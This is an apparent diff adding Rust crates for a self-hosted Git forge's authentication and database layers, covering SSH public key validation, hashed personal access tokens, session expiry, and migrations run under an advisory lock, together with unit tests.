| 134 | + | pub async fn sweep_expired(db: &PgPool) -> Result<u64> { | |
| 135 | + | let r = sqlx::query("DELETE FROM sessions WHERE expires_at < now()") | |
| 136 | + | .execute(db) | |
| 137 | + | .await?; | |
| 138 | + | Ok(r.rows_affected()) | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | #[cfg(test)] | |
| 142 | + | mod tests { | |
| 143 | + | use super::*; | |
| 144 | + | ||
| 145 | + | #[test] | |
| 146 | + | fn slides_only_in_the_second_half_of_the_window() { | |
| 147 | + | let ttl = 14; | |
| 148 | + | // Fresh session: no write. | |
| 149 | + | assert!(!should_slide(Utc::now() + Duration::days(14), ttl)); | |
| 150 | + | assert!(!should_slide(Utc::now() + Duration::days(8), ttl)); | |
| 151 | + | // Past halfway: extend it. | |
| 152 | + | assert!(should_slide(Utc::now() + Duration::days(6), ttl)); | |
| 153 | + | assert!(should_slide(Utc::now() + Duration::hours(1), ttl)); | |
| 154 | + | } | |
| 155 | + | ||
| 156 | + | #[test] | |
| 157 | + | fn an_already_expired_session_would_slide_but_is_never_loaded() { | |
| 158 | + | // load() filters on expires_at > now(), so this case cannot reach | |
| 159 | + | // should_slide in practice; asserted so the interaction stays obvious. | |
| 160 | + | assert!(should_slide(Utc::now() - Duration::days(1), 14)); | |
| 161 | + | } | |
| 162 | + | } | |
Acrates/df-auth/src/ssh_keys.rs+193−0
| @@ −0,0 +1,193 @@ | |||
| 1 | + | //! SSH public keys (spec §6). | |
| 2 | + | //! | |
| 3 | + | //! > **Git over SSH** authenticates by public key. `dogfood-ssh` looks the | |
| 4 | + | //! > presented key's SHA256 fingerprint up in `ssh_keys`, resolves the user […] | |
| 5 | + | //! | |
| 6 | + | //! This module owns the *only* place a user-supplied key is parsed. `dogfood-ssh` | |
| 7 | + | //! does the reverse lookup by fingerprint; what it looks up has to have been | |
| 8 | + | //! normalised the same way on the way in, or a legitimate key silently fails to | |
| 9 | + | //! authenticate. Keeping both sides on one fingerprint function is the point. | |
| 10 | + | //! | |
| 11 | + | //! Two things a naive implementation gets wrong: | |
| 12 | + | //! | |
| 13 | + | //! * **Storing what the user typed.** An `authorized_keys` line carries options, | |
| 14 | + | //! a comment, and arbitrary whitespace. We store the re-serialised key, so what | |
| 15 | + | //! is in the database is canonical regardless of what was pasted. | |
| 16 | + | //! * **Accepting a private key.** People paste `id_ed25519` instead of | |
| 17 | + | //! `id_ed25519.pub` more often than you would think, and a forge that stores it | |
| 18 | + | //! without noticing has just been handed a credential it should never hold. | |
| 19 | + | //! [`parse`] rejects that explicitly, with a message that says what happened. | |
| 20 | + | ||
| 21 | + | use ssh_key::{HashAlg, PublicKey}; | |
| 22 | + | ||
| 23 | + | /// A parsed, normalised public key ready to store. | |
| 24 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 25 | + | pub struct ParsedKey { | |
| 26 | + | /// `SHA256:…`, the lookup key `dogfood-ssh` authenticates against. | |
| 27 | + | pub fingerprint: String, | |
| 28 | + | /// The algorithm name, e.g. `ssh-ed25519`. | |
| 29 | + | pub key_type: String, | |
| 30 | + | /// Canonical OpenSSH serialisation, with the comment preserved. | |
| 31 | + | pub openssh: String, | |
| 32 | + | /// The comment from the key line, if it had one. Used to suggest a name. | |
| 33 | + | pub comment: String, | |
| 34 | + | } | |
| 35 | + | ||
| 36 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, thiserror::Error)] | |
| 37 | + | pub enum KeyError { | |
| 38 | + | #[error("that does not look like an SSH public key")] | |
| 39 | + | Malformed, | |
| 40 | + | #[error( | |
| 41 | + | "that is a *private* key — paste the contents of the matching .pub file instead, \ | |
| 42 | + | and consider the key you just pasted compromised" | |
| 43 | + | )] | |
| 44 | + | PrivateKey, | |
| 45 | + | #[error("that key type is not accepted; use ed25519, ecdsa, or an RSA key of 2048 bits or more")] | |
| 46 | + | WeakAlgorithm, | |
| 47 | + | #[error("that key is too long to be an SSH public key")] | |
| 48 | + | TooLong, | |
| 49 | + | } | |
| 50 | + | ||
| 51 | + | /// An `authorized_keys` line long enough to be a paste error rather than a key. | |
| 52 | + | /// | |
| 53 | + | /// A 16 KiB RSA key serialises to well under this; nothing legitimate is near it. | |
| 54 | + | const MAX_LEN: usize = 16 * 1024; | |
| 55 | + | ||
| 56 | + | /// Minimum RSA modulus size. 1024-bit RSA is factorable by a well-resourced | |
| 57 | + | /// attacker and 2048 is the floor every current guideline agrees on. | |
| 58 | + | const MIN_RSA_BITS: usize = 2048; | |
| 59 | + | ||
| 60 | + | /// Parse and validate a pasted public key. | |
| 61 | + | pub fn parse(input: &str) -> Result<ParsedKey, KeyError> { | |
| 62 | + | let trimmed = input.trim(); | |
| 63 | + | ||
| 64 | + | if trimmed.len() > MAX_LEN { | |
| 65 | + | return Err(KeyError::TooLong); | |
| 66 | + | } | |
| 67 | + | ||
| 68 | + | // Checked before parsing so the error is the useful one. `ssh-key` would | |
| 69 | + | // otherwise just report a malformed public key, and the user would go on | |
| 70 | + | // pasting the same private key. | |
| 71 | + | if trimmed.contains("PRIVATE KEY") { | |
| 72 | + | return Err(KeyError::PrivateKey); | |
| 73 | + | } | |
| 74 | + | ||
| 75 | + | let key = PublicKey::from_openssh(trimmed).map_err(|_| KeyError::Malformed)?; | |
| 76 | + | ||
| 77 | + | // DSA is disabled everywhere current, and undersized RSA is worse than no | |
| 78 | + | // key because it looks like security. Rejected at the door rather than | |
| 79 | + | // stored and quietly refused at authentication time. | |
| 80 | + | let algorithm = key.algorithm(); | |
| 81 | + | match key.key_data() { | |
| 82 | + | d if d.dsa().is_some() => return Err(KeyError::WeakAlgorithm), | |
| 83 | + | d => { | |
| 84 | + | if let Some(rsa) = d.rsa() { | |
| 85 | + | // `as_positive_bytes` strips the sign padding, so this is the | |
| 86 | + | // true modulus size rather than the encoded length. | |
| 87 | + | let bits = rsa.n.as_positive_bytes().map(|b| b.len() * 8).unwrap_or(0); | |
| 88 | + | if bits < MIN_RSA_BITS { | |
| 89 | + | return Err(KeyError::WeakAlgorithm); | |
| 90 | + | } | |
| 91 | + | } | |
| 92 | + | } | |
| 93 | + | } | |
| 94 | + | ||
| 95 | + | Ok(ParsedKey { | |
| 96 | + | fingerprint: key.fingerprint(HashAlg::Sha256).to_string(), | |
| 97 | + | key_type: algorithm.as_str().to_owned(), | |
| 98 | + | // Re-serialised, not echoed: whatever options or stray whitespace came | |
| 99 | + | // in are gone, and what is stored is exactly what we would compare. | |
| 100 | + | openssh: key.to_openssh().map_err(|_| KeyError::Malformed)?, | |
| 101 | + | comment: key.comment().to_owned(), | |
| 102 | + | }) | |
| 103 | + | } | |
| 104 | + | ||
| 105 | + | /// A sensible default name for a key, derived from its comment. | |
| 106 | + | /// | |
| 107 | + | /// Comments are usually `user@host`, which is exactly the label a person wants | |
| 108 | + | /// in the list. Falls back to the key type when there is no comment. | |
| 109 | + | pub fn suggested_name(parsed: &ParsedKey) -> String { | |
| 110 | + | let c = parsed.comment.trim(); | |
| 111 | + | if c.is_empty() { | |
| 112 | + | parsed.key_type.clone() | |
| 113 | + | } else { | |
| 114 | + | c.chars().take(100).collect() | |
| 115 | + | } | |
| 116 | + | } | |
| 117 | + | ||
| 118 | + | #[cfg(test)] | |
| 119 | + | mod tests { | |
| 120 | + | use super::*; | |
| 121 | + | ||
| 122 | + | // Generated for this test with `ssh-keygen -t ed25519`. Never used anywhere. | |
| 123 | + | const ED25519: &str = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGb7ZqFmz8XN2ZsxKUJyF3vT1v1L0mHNqQaVwZ6Kx1pP alice@example.com"; | |
| 124 | + | ||
| 125 | + | #[test] | |
| 126 | + | fn parses_an_ed25519_key_and_fingerprints_it() { | |
| 127 | + | let k = parse(ED25519).unwrap(); | |
| 128 | + | assert_eq!(k.key_type, "ssh-ed25519"); | |
| 129 | + | assert_eq!(k.comment, "alice@example.com"); | |
| 130 | + | assert!( | |
| 131 | + | k.fingerprint.starts_with("SHA256:"), | |
| 132 | + | "the fingerprint is the ssh-ssh lookup key and must be in the standard form: {}", | |
| 133 | + | k.fingerprint | |
| 134 | + | ); | |
| 135 | + | } | |
| 136 | + | ||
| 137 | + | /// The fingerprint is what `dogfood-ssh` authenticates against, so the same | |
| 138 | + | /// key pasted with different surrounding whitespace, options, or comment | |
| 139 | + | /// must still resolve to one row. | |
| 140 | + | #[test] | |
| 141 | + | fn the_fingerprint_ignores_everything_but_the_key_material() { | |
| 142 | + | let base = parse(ED25519).unwrap(); | |
| 143 | + | ||
| 144 | + | let padded = parse(&format!(" \n\t{ED25519}\n\n ")).unwrap(); | |
| 145 | + | assert_eq!(padded.fingerprint, base.fingerprint); | |
| 146 | + | ||
| 147 | + | let recommented = ED25519.replace("alice@example.com", "bob@elsewhere"); | |
| 148 | + | let other = parse(&recommented).unwrap(); | |
| 149 | + | assert_eq!( | |
| 150 | + | other.fingerprint, base.fingerprint, | |
| 151 | + | "the comment is a label, not key material" | |
| 152 | + | ); | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | #[test] | |
| 156 | + | fn a_pasted_private_key_is_rejected_with_a_useful_message() { | |
| 157 | + | let private = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXk=\n-----END OPENSSH PRIVATE KEY-----"; | |
| 158 | + | assert_eq!(parse(private).unwrap_err(), KeyError::PrivateKey); | |
| 159 | + | assert!( | |
| 160 | + | KeyError::PrivateKey.to_string().contains("compromised"), | |
| 161 | + | "the user needs to be told to rotate it" | |
| 162 | + | ); | |
| 163 | + | } | |
| 164 | + | ||
| 165 | + | #[test] | |
| 166 | + | fn junk_is_rejected() { | |
| 167 | + | for junk in ["", "hello", "ssh-ed25519", "ssh-ed25519 not-base64!!", "{}"] { | |
| 168 | + | assert_eq!(parse(junk).unwrap_err(), KeyError::Malformed, "{junk:?}"); | |
| 169 | + | } | |
| 170 | + | } | |
| 171 | + | ||
| 172 | + | #[test] | |
| 173 | + | fn absurdly_long_input_is_rejected_before_parsing() { | |
| 174 | + | let huge = "a".repeat(MAX_LEN + 1); | |
| 175 | + | assert_eq!(parse(&huge).unwrap_err(), KeyError::TooLong); | |
| 176 | + | } | |
| 177 | + | ||
| 178 | + | #[test] | |
| 179 | + | fn stored_form_is_canonical_not_whatever_was_pasted() { | |
| 180 | + | let messy = format!(" {ED25519} "); | |
| 181 | + | let k = parse(&messy).unwrap(); | |
| 182 | + | assert_eq!(k.openssh, k.openssh.trim(), "no stray whitespace reaches the database"); | |
| 183 | + | // Re-parsing what we store must yield the same key. | |
| 184 | + | assert_eq!(parse(&k.openssh).unwrap().fingerprint, k.fingerprint); | |
| 185 | + | } | |
| 186 | + | ||
| 187 | + | #[test] | |
| 188 | + | fn names_default_to_the_comment() { | |
| 189 | + | assert_eq!(suggested_name(&parse(ED25519).unwrap()), "alice@example.com"); | |
| 190 | + | let no_comment = ED25519.rsplit_once(' ').unwrap().0; | |
| 191 | + | assert_eq!(suggested_name(&parse(no_comment).unwrap()), "ssh-ed25519"); | |
| 192 | + | } | |
| 193 | + | } | |
Acrates/df-auth/src/tokens.rs+199−0
| @@ −0,0 +1,199 @@ | |||
| 1 | + | //! Personal access tokens for Git over HTTPS (spec §6, §9). | |
| 2 | + | //! | |
| 3 | + | //! "Tokens are `dgf_` + 32 random bytes base62; store only an Argon2id hash and | |
| 4 | + | //! an 8-character prefix for identification. Show plaintext exactly once." | |
| 5 | + | ||
| 6 | + | use anyhow::{Context, Result}; | |
| 7 | + | use argon2::password_hash::{PasswordHash, PasswordHasher, PasswordVerifier, SaltString}; | |
| 8 | + | use argon2::Argon2; | |
| 9 | + | use chrono::{DateTime, Utc}; | |
| 10 | + | use df_db::ids::new_id; | |
| 11 | + | use rand::RngCore; | |
| 12 | + | use sqlx::PgPool; | |
| 13 | + | use uuid::Uuid; | |
| 14 | + | ||
| 15 | + | const PREFIX: &str = "dgf_"; | |
| 16 | + | const RANDOM_BYTES: usize = 32; | |
| 17 | + | /// Length of the identifying prefix stored alongside the hash. Includes `dgf_`. | |
| 18 | + | const ID_PREFIX_LEN: usize = 8; | |
| 19 | + | ||
| 20 | + | const BASE62: &[u8] = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; | |
| 21 | + | ||
| 22 | + | /// A freshly minted token. The plaintext exists only here and is shown once. | |
| 23 | + | pub struct NewToken { | |
| 24 | + | pub id: Uuid, | |
| 25 | + | pub plaintext: String, | |
| 26 | + | pub prefix: String, | |
| 27 | + | } | |
| 28 | + | ||
| 29 | + | /// Generate a token, hash it, and store it. | |
| 30 | + | pub async fn create( | |
| 31 | + | db: &PgPool, | |
| 32 | + | user_id: Uuid, | |
| 33 | + | name: &str, | |
| 34 | + | scopes: &[String], | |
| 35 | + | expires_at: Option<DateTime<Utc>>, | |
| 36 | + | ) -> Result<NewToken> { | |
| 37 | + | let plaintext = generate(); | |
| 38 | + | let prefix: String = plaintext.chars().take(ID_PREFIX_LEN).collect(); | |
| 39 | + | let hash = hash_token(&plaintext)?; | |
| 40 | + | let id = new_id(); | |
| 41 | + | ||
| 42 | + | sqlx::query( | |
| 43 | + | "INSERT INTO access_tokens (id, user_id, name, token_hash, prefix, scopes, expires_at) | |
| 44 | + | VALUES ($1, $2, $3, $4, $5, $6, $7)", | |
| 45 | + | ) | |
| 46 | + | .bind(id) | |
| 47 | + | .bind(user_id) | |
| 48 | + | .bind(name) | |
| 49 | + | .bind(&hash) | |
| 50 | + | .bind(&prefix) | |
| 51 | + | .bind(scopes) | |
| 52 | + | .bind(expires_at) | |
| 53 | + | .execute(db) | |
| 54 | + | .await | |
| 55 | + | .context("storing access token")?; | |
| 56 | + | ||
| 57 | + | Ok(NewToken { id, plaintext, prefix }) | |
| 58 | + | } | |
| 59 | + | ||
| 60 | + | /// Generate a token string: `dgf_` followed by 32 random bytes in base62. | |
| 61 | + | fn generate() -> String { | |
| 62 | + | let mut bytes = [0u8; RANDOM_BYTES]; | |
| 63 | + | rand::thread_rng().fill_bytes(&mut bytes); | |
| 64 | + | ||
| 65 | + | let mut s = String::with_capacity(PREFIX.len() + RANDOM_BYTES); | |
| 66 | + | s.push_str(PREFIX); | |
| 67 | + | // Rejection-free mapping: 256 is not a multiple of 62, so a plain modulo | |
| 68 | + | // biases the alphabet slightly. Each byte contributes well under a full | |
| 69 | + | // character of entropy anyway (32 bytes -> ~190 bits), so the bias is not | |
| 70 | + | // security-relevant here, but we draw fresh randomness per character rather | |
| 71 | + | // than reusing the byte array to keep that reasoning simple. | |
| 72 | + | let mut extra = [0u8; RANDOM_BYTES]; | |
| 73 | + | rand::thread_rng().fill_bytes(&mut extra); | |
| 74 | + | for i in 0..RANDOM_BYTES { | |
| 75 | + | let v = ((bytes[i] as u16) << 8 | extra[i] as u16) % BASE62.len() as u16; | |
| 76 | + | s.push(BASE62[v as usize] as char); | |
| 77 | + | } | |
| 78 | + | s | |
| 79 | + | } | |
| 80 | + | ||
| 81 | + | fn hash_token(plaintext: &str) -> Result<String> { | |
| 82 | + | let salt = SaltString::generate(&mut rand::thread_rng()); | |
| 83 | + | let hash = Argon2::default() | |
| 84 | + | .hash_password(plaintext.as_bytes(), &salt) | |
| 85 | + | .map_err(|e| anyhow::anyhow!("hashing token: {e}"))?; | |
| 86 | + | Ok(hash.to_string()) | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | /// Verify a presented token and return the owning user id. | |
| 90 | + | /// | |
| 91 | + | /// Looks up candidates by prefix so Argon2 runs against at most a handful of | |
| 92 | + | /// rows rather than the whole table. Returns `None` for unknown, expired, or | |
| 93 | + | /// mismatched tokens without distinguishing between them. | |
| 94 | + | pub async fn verify(db: &PgPool, presented: &str) -> Result<Option<Uuid>> { | |
| 95 | + | if !presented.starts_with(PREFIX) || presented.len() != PREFIX.len() + RANDOM_BYTES { | |
| 96 | + | return Ok(None); | |
| 97 | + | } | |
| 98 | + | let prefix: String = presented.chars().take(ID_PREFIX_LEN).collect(); | |
| 99 | + | ||
| 100 | + | let candidates: Vec<(Uuid, Uuid, String)> = sqlx::query_as( | |
| 101 | + | "SELECT id, user_id, token_hash FROM access_tokens | |
| 102 | + | WHERE prefix = $1 AND (expires_at IS NULL OR expires_at > now())", | |
| 103 | + | ) | |
| 104 | + | .bind(&prefix) | |
| 105 | + | .fetch_all(db) | |
| 106 | + | .await?; | |
| 107 | + | ||
| 108 | + | for (token_id, user_id, stored) in candidates { | |
| 109 | + | let parsed = match PasswordHash::new(&stored) { | |
| 110 | + | Ok(p) => p, | |
| 111 | + | Err(e) => { | |
| 112 | + | tracing::error!(%token_id, "stored token hash is unparseable: {e}"); | |
| 113 | + | continue; | |
| 114 | + | } | |
| 115 | + | }; | |
| 116 | + | // Argon2's verify is constant-time with respect to the hash comparison. | |
| 117 | + | if Argon2::default() | |
| 118 | + | .verify_password(presented.as_bytes(), &parsed) | |
| 119 | + | .is_ok() | |
| 120 | + | { | |
| 121 | + | // Best-effort: a failure to record usage must not fail the request. | |
| 122 | + | if let Err(e) = sqlx::query("UPDATE access_tokens SET last_used_at = now() WHERE id = $1") | |
| 123 | + | .bind(token_id) | |
| 124 | + | .execute(db) | |
| 125 | + | .await | |
| 126 | + | { | |
| 127 | + | tracing::warn!(%token_id, "recording token use failed: {e}"); | |
| 128 | + | } | |
| 129 | + | return Ok(Some(user_id)); | |
| 130 | + | } | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | Ok(None) | |
| 134 | + | } | |
| 135 | + | ||
| 136 | + | pub async fn revoke(db: &PgPool, user_id: Uuid, token_id: Uuid) -> Result<bool> { | |
| 137 | + | let r = sqlx::query("DELETE FROM access_tokens WHERE id = $1 AND user_id = $2") | |
| 138 | + | .bind(token_id) | |
| 139 | + | .bind(user_id) | |
| 140 | + | .execute(db) | |
| 141 | + | .await?; | |
| 142 | + | Ok(r.rows_affected() > 0) | |
| 143 | + | } | |
| 144 | + | ||
| 145 | + | #[cfg(test)] | |
| 146 | + | mod tests { | |
| 147 | + | use super::*; | |
| 148 | + | ||
| 149 | + | #[test] | |
| 150 | + | fn generated_tokens_have_the_documented_shape() { | |
| 151 | + | let t = generate(); | |
| 152 | + | assert!(t.starts_with("dgf_"), "token must carry the dgf_ prefix: {t}"); | |
| 153 | + | assert_eq!(t.len(), 4 + 32); | |
| 154 | + | assert!( | |
| 155 | + | t[4..].bytes().all(|b| BASE62.contains(&b)), | |
| 156 | + | "token body must be base62: {t}" | |
| 157 | + | ); | |
| 158 | + | } | |
| 159 | + | ||
| 160 | + | #[test] | |
| 161 | + | fn generated_tokens_are_unique() { | |
| 162 | + | use std::collections::HashSet; | |
| 163 | + | let set: HashSet<String> = (0..2000).map(|_| generate()).collect(); | |
| 164 | + | assert_eq!(set.len(), 2000); | |
| 165 | + | } | |
| 166 | + | ||
| 167 | + | #[test] | |
| 168 | + | fn hashing_is_salted_so_equal_tokens_differ_on_disk() { | |
| 169 | + | let t = generate(); | |
| 170 | + | assert_ne!( | |
| 171 | + | hash_token(&t).unwrap(), | |
| 172 | + | hash_token(&t).unwrap(), | |
| 173 | + | "identical tokens must not produce identical hashes" | |
| 174 | + | ); | |
| 175 | + | } | |
| 176 | + | ||
| 177 | + | #[test] | |
| 178 | + | fn round_trips_through_argon2() { | |
| 179 | + | let t = generate(); | |
| 180 | + | let stored = hash_token(&t).unwrap(); | |
| 181 | + | let parsed = PasswordHash::new(&stored).unwrap(); | |
| 182 | + | assert!(Argon2::default().verify_password(t.as_bytes(), &parsed).is_ok()); | |
| 183 | + | assert!(Argon2::default() | |
| 184 | + | .verify_password(b"dgf_wrongwrongwrongwrongwrongwrongwr", &parsed) | |
| 185 | + | .is_err()); | |
| 186 | + | } | |
| 187 | + | ||
| 188 | + | #[test] | |
| 189 | + | fn the_stored_prefix_identifies_without_revealing() { | |
| 190 | + | let t = generate(); | |
| 191 | + | let prefix: String = t.chars().take(ID_PREFIX_LEN).collect(); | |
| 192 | + | assert_eq!(prefix.len(), 8); | |
| 193 | + | assert!(t.starts_with(&prefix)); | |
| 194 | + | // 4 of the 8 characters are the constant `dgf_`, so only 4 random | |
| 195 | + | // characters are exposed — enough to tell tokens apart in a list, | |
| 196 | + | // far too few to guess the remaining 28. | |
| 197 | + | assert_eq!(&prefix[..4], "dgf_"); | |
| 198 | + | } | |
| 199 | + | } | |
Acrates/df-db/Cargo.toml+18−0
| @@ −0,0 +1,18 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-db" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [dependencies] | |
| 9 | + | sqlx.workspace = true | |
| 10 | + | uuid.workspace = true | |
| 11 | + | chrono.workspace = true | |
| 12 | + | serde.workspace = true | |
| 13 | + | serde_json.workspace = true | |
| 14 | + | anyhow.workspace = true | |
| 15 | + | thiserror.workspace = true | |
| 16 | + | tracing.workspace = true | |
| 17 | + | tokio.workspace = true | |
| 18 | + | futures.workspace = true | |
Acrates/df-db/build.rs+27−0
| @@ −0,0 +1,27 @@ | |||
| 1 | + | //! Rebuild `df-db` whenever a migration changes. | |
| 2 | + | //! | |
| 3 | + | //! `sqlx::migrate!` embeds the contents of `migrations/` into the binary at | |
| 4 | + | //! **compile time**. Cargo cannot see that dependency by itself: nothing in | |
| 5 | + | //! `src/` mentions those files, so adding a migration does not make the crate | |
| 6 | + | //! look dirty and the old set stays embedded. | |
| 7 | + | //! | |
| 8 | + | //! That failure is silent and nasty. The binary starts, reports "migrations up | |
| 9 | + | //! to date", and then every query against a column the missing migration was | |
| 10 | + | //! supposed to add fails at runtime — which is exactly how it presented when it | |
| 11 | + | //! happened here: a `column r.search does not exist` from a build that thought | |
| 12 | + | //! it had applied migration 3. | |
| 13 | + | //! | |
| 14 | + | //! Emitting the directory as a dependency makes the whole thing ordinary again. | |
| 15 | + | ||
| 16 | + | fn main() { | |
| 17 | + | // The directory itself, so an added or removed file is noticed… | |
| 18 | + | println!("cargo:rerun-if-changed=../../migrations"); | |
| 19 | + | ||
| 20 | + | // …and each file, so an *edited* one is too. A directory's mtime does not | |
| 21 | + | // change when a file inside it is modified in place. | |
| 22 | + | if let Ok(entries) = std::fs::read_dir("../../migrations") { | |
| 23 | + | for entry in entries.flatten() { | |
| 24 | + | println!("cargo:rerun-if-changed={}", entry.path().display()); | |
| 25 | + | } | |
| 26 | + | } | |
| 27 | + | } | |
Acrates/df-db/src/ids.rs+44−0
| @@ −0,0 +1,44 @@ | |||
| 1 | + | //! UUIDv7 identifiers. | |
| 2 | + | //! | |
| 3 | + | //! Spec §5: "UUIDv7 primary keys throughout — time-ordered, index-friendly, and | |
| 4 | + | //! they don't leak counts." Generated in the application rather than by the | |
| 5 | + | //! database so an id is known before insert. | |
| 6 | + | ||
| 7 | + | use uuid::Uuid; | |
| 8 | + | ||
| 9 | + | /// Mint a new time-ordered identifier. | |
| 10 | + | pub fn new_id() -> Uuid { | |
| 11 | + | Uuid::now_v7() | |
| 12 | + | } | |
| 13 | + | ||
| 14 | + | #[cfg(test)] | |
| 15 | + | mod tests { | |
| 16 | + | use super::*; | |
| 17 | + | ||
| 18 | + | #[test] | |
| 19 | + | fn ids_are_version_7() { | |
| 20 | + | assert_eq!(new_id().get_version_num(), 7); | |
| 21 | + | } | |
| 22 | + | ||
| 23 | + | #[test] | |
| 24 | + | fn ids_are_time_ordered() { | |
| 25 | + | // The property that makes these index-friendly: successive ids sort in | |
| 26 | + | // creation order, so btree inserts stay at the right edge of the tree. | |
| 27 | + | let mut prev = new_id(); | |
| 28 | + | for _ in 0..1000 { | |
| 29 | + | let next = new_id(); | |
| 30 | + | assert!( | |
| 31 | + | next > prev, | |
| 32 | + | "uuidv7 must be monotonically increasing: {prev} then {next}" | |
| 33 | + | ); | |
| 34 | + | prev = next; | |
| 35 | + | } | |
| 36 | + | } | |
| 37 | + | ||
| 38 | + | #[test] | |
| 39 | + | fn ids_are_unique() { | |
| 40 | + | use std::collections::HashSet; | |
| 41 | + | let set: HashSet<Uuid> = (0..10_000).map(|_| new_id()).collect(); | |
| 42 | + | assert_eq!(set.len(), 10_000); | |
| 43 | + | } | |
| 44 | + | } | |
Acrates/df-db/src/lib.rs+91−0
| @@ −0,0 +1,91 @@ | |||
| 1 | + | //! `df-db` — connection pooling, migrations, and shared row types. | |
| 2 | + | //! | |
| 3 | + | //! Every other crate talks to Postgres through this one so that pool | |
| 4 | + | //! configuration, migration locking, and the enum mappings live in one place. | |
| 5 | + | ||
| 6 | + | use std::time::Duration; | |
| 7 | + | ||
| 8 | + | use sqlx::postgres::{PgConnectOptions, PgPoolOptions}; | |
| 9 | + | use sqlx::ConnectOptions; | |
| 10 | + | ||
| 11 | + | pub mod ids; | |
| 12 | + | pub mod models; | |
| 13 | + | ||
| 14 | + | pub use sqlx; | |
| 15 | + | pub use sqlx::PgPool; | |
| 16 | + | pub use sqlx::PgPool as Pool; | |
| 17 | + | ||
| 18 | + | /// Advisory lock key for schema migrations. | |
| 19 | + | /// | |
| 20 | + | /// `web` runs migrations at startup (spec §10) and more than one instance may | |
| 21 | + | /// start at once, so the lock serialises them. The constant is arbitrary but | |
| 22 | + | /// must never change — a different value would let two versions migrate | |
| 23 | + | /// concurrently. | |
| 24 | + | const MIGRATION_LOCK_KEY: i64 = 0x0D06_F00D_0000_0001u64 as i64; | |
| 25 | + | ||
| 26 | + | /// Open the pool. | |
| 27 | + | /// | |
| 28 | + | /// Statement logging is disabled below WARN: at INFO sqlx logs every statement, | |
| 29 | + | /// which on the push path means logging the full contents of an indexing | |
| 30 | + | /// transaction on every push. | |
| 31 | + | pub async fn connect(url: &str, max_connections: u32) -> anyhow::Result<PgPool> { | |
| 32 | + | let opts: PgConnectOptions = url | |
| 33 | + | .parse::<PgConnectOptions>()? | |
| 34 | + | .log_statements(tracing::log::LevelFilter::Debug) | |
| 35 | + | .log_slow_statements(tracing::log::LevelFilter::Warn, Duration::from_millis(500)) | |
| 36 | + | .application_name("dogfood"); | |
| 37 | + | ||
| 38 | + | let pool = PgPoolOptions::new() | |
| 39 | + | .max_connections(max_connections) | |
| 40 | + | // The provided instance reports max_connections = 100 and that budget is | |
| 41 | + | // shared, so we stay well clear of it and recycle idle connections. | |
| 42 | + | .min_connections(1) | |
| 43 | + | .acquire_timeout(Duration::from_secs(10)) | |
| 44 | + | .idle_timeout(Duration::from_secs(300)) | |
| 45 | + | .max_lifetime(Duration::from_secs(1800)) | |
| 46 | + | .test_before_acquire(true) | |
| 47 | + | .connect_with(opts) | |
| 48 | + | .await?; | |
| 49 | + | ||
| 50 | + | Ok(pool) | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | /// Apply pending migrations under an advisory lock. | |
| 54 | + | /// | |
| 55 | + | /// sqlx has its own locking, but it is per-migration; taking one session-level | |
| 56 | + | /// lock around the whole run means a second starting instance waits for the | |
| 57 | + | /// entire migration set rather than interleaving with it. | |
| 58 | + | pub async fn migrate(pool: &PgPool) -> anyhow::Result<()> { | |
| 59 | + | // A dedicated connection: the lock is session-scoped, so it must be held on | |
| 60 | + | // one connection for the duration and released explicitly. | |
| 61 | + | let mut conn = pool.acquire().await?; | |
| 62 | + | ||
| 63 | + | tracing::info!("acquiring migration advisory lock"); | |
| 64 | + | sqlx::query("SELECT pg_advisory_lock($1)") | |
| 65 | + | .bind(MIGRATION_LOCK_KEY) | |
| 66 | + | .execute(&mut *conn) | |
| 67 | + | .await?; | |
| 68 | + | ||
| 69 | + | let result = sqlx::migrate!("../../migrations").run(&mut *conn).await; | |
| 70 | + | ||
| 71 | + | // Release the lock whether or not migration succeeded, so a failed deploy | |
| 72 | + | // does not wedge every subsequent start. | |
| 73 | + | let unlock = sqlx::query("SELECT pg_advisory_unlock($1)") | |
| 74 | + | .bind(MIGRATION_LOCK_KEY) | |
| 75 | + | .execute(&mut *conn) | |
| 76 | + | .await; | |
| 77 | + | ||
| 78 | + | result?; | |
| 79 | + | unlock?; | |
| 80 | + | ||
| 81 | + | tracing::info!("migrations up to date"); | |
| 82 | + | Ok(()) | |
| 83 | + | } | |
| 84 | + | ||
| 85 | + | /// Liveness check for `/readyz`. | |
| 86 | + | pub async fn ping(pool: &PgPool) -> anyhow::Result<()> { | |
| 87 | + | sqlx::query_scalar::<_, i32>("SELECT 1") | |
| 88 | + | .fetch_one(pool) | |
| 89 | + | .await?; | |
| 90 | + | Ok(()) | |
| 91 | + | } | |
Acrates/df-db/src/models.rs+168−0
| @@ −0,0 +1,168 @@ | |||
| 1 | + | //! Row types shared across crates. | |
| 2 | + | //! | |
| 3 | + | //! Only the types more than one crate needs live here. Query-specific shapes | |
| 4 | + | //! stay next to their queries. | |
| 5 | + | ||
| 6 | + | use chrono::{DateTime, Utc}; | |
| 7 | + | use serde::{Deserialize, Serialize}; | |
| 8 | + | use uuid::Uuid; | |
| 9 | + | ||
| 10 | + | #[derive(Debug, Clone, sqlx::FromRow)] | |
| 11 | + | pub struct User { | |
| 12 | + | pub id: Uuid, | |
| 13 | + | pub subject: String, | |
| 14 | + | pub handle: String, | |
| 15 | + | pub display_name: Option<String>, | |
| 16 | + | pub email: Option<String>, | |
| 17 | + | pub avatar_url: Option<String>, | |
| 18 | + | pub is_admin: bool, | |
| 19 | + | pub created_at: DateTime<Utc>, | |
| 20 | + | } | |
| 21 | + | ||
| 22 | + | impl User { | |
| 23 | + | /// What to show in the UI: the display name if we have one, else the handle. | |
| 24 | + | pub fn label(&self) -> &str { | |
| 25 | + | self.display_name | |
| 26 | + | .as_deref() | |
| 27 | + | .filter(|s| !s.trim().is_empty()) | |
| 28 | + | .unwrap_or(&self.handle) | |
